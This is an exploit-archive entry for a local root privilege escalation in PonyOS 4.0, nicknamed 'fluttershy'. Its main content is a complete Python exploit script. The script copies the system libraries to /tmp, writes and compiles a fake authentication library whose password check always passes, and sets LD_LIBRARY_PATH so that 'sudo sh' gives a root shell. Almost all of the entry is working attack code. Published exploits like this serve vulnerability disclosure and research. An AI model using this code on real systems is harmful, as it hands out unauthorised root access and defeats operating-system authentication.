PonyOS 4.0 fluttershy LD_LIBRARY_PATH Privilege Escalation

Published
Credit
Risk
2017.04.14
Hacker Fantastic
Medium
CWE
CVE
Local
Remote
CWE-264
N/A
Yes
No

#!/usr/bin/python
#PonyOS 4.0 has added several improvements over previous releases
#including support for setuid binaries and dynamic libraries. The
#run-time linker does not sanitize environment variables when
#running setuid files allowing for local root exploitation through
#manipulated LD_LIBRARY_PATH. Requires build-essential installed
#to compile the malicious library.
import shutil
import os

if __name__=="__main__":
print("[+] fluttershy - dynamic linker exploit for ponyos 4.0")
shutil.copyfile("/usr/lib/libc.so","/tmp/libc.so")
shutil.copyfile("/usr/lib/libm.so","/tmp/libm.so")
shutil.copyfile("/usr/lib/libpng15.so","/tmp/libpng15.so")
shutil.copyfile("/usr/lib/libtoaru-graphics.so","/tmp/libtoaru-graphics.so")
shutil.copyfile("/usr/lib/libtoaru-kbd.so","/tmp/libtoaru-kbd.so")
shutil.copyfile("/usr/lib/libtoaru-rline.so","/tmp/libtoaru-rline.so")
shutil.copyfile("/usr/lib/libtoaru-list.so","/tmp/libtoaru-list.so")
shutil.copyfile("/usr/lib/libtoaru-sha2.so","/tmp/libtoaru-sha2.so")
shutil.copyfile("/usr/lib/libtoaru-termemu.so","/tmp/libtoaru-termemu.so")
shutil.copyfile("/usr/lib/libz.so", "/tmp/libz.so")
fd = open("/tmp/lib.c","w")
fd.write("#include <stdio.h>\n#include <stdlib.h>\n\n")
fd.write("void toaru_auth_check_pass(char* username, char* password){\n")
fd.write("\tprintf(\"[+] pony smash!\\n\");\n}\n")
fd.close()
os.system("gcc -fpic -c /tmp/lib.c")
os.system("gcc -shared -o /tmp/libtoaru-toaru_auth.so /tmp/lib.o")
os.environ["LD_LIBRARY_PATH"] = "/tmp"
os.system("sudo sh")



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